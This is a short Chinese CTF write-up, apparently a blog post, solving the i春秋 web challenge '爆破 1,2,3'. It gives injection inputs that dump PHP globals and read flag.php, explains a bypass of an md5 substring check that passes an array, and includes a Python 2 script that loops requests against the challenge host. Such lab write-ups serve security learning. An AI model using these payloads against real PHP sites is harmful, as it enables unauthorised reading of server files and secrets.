i春秋CTF WEB-爆破

最新推荐文章于 2025-01-18 16:16:48 发布

原创最新推荐文章于 2025-01-18 16:16:48 发布 · 331 阅读

1 ·

CC 4.0 BY-SA版权

本文介绍了一种利用文件包含漏洞的方法，通过精心构造请求来绕过限制并获取隐藏的flag信息。文中详细解释了如何利用PHP全局变量GLOBALS以及md5函数的一个特性，通过Python脚本实现了自动化获取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

爆破1,2,3

看似是爆破，其实可以直接GLOBALS查看所有的全局变量，其实考的是文件包含，六位字符的爆破实在是耗费时间==、

hello=GLOBALS
hello=file_get_contents('flag.php')

只要第一次传进去的value与session中的相等，则网页会输出下一个value值，通过使用md5函数不能对数组进行处理的漏洞来绕过substr(md5($value),5,4)==0的判断，使nums得值大于10即可得到flag

python脚本

# coding:utf-8
import requests

url = "http://344cb89508694654883e6e22c6fca5d6bbacd6e5f0b44746.game.ichunqiu.com/?value[]=ea"

al = ['abcdefghijklmnopqrstuvwxyz']

s = requests.session()

r = s.get(url)

for i in range(20):
    url = "http://344cb89508694654883e6e22c6fca5d6bbacd6e5f0b44746.game.ichunqiu.com/?value[]=" + r.content[0:2]
    r = s.get(url)
    if 'flag{' in r.content:
     print r.content[0:50]
     break
    else:
     print r.content[0:2]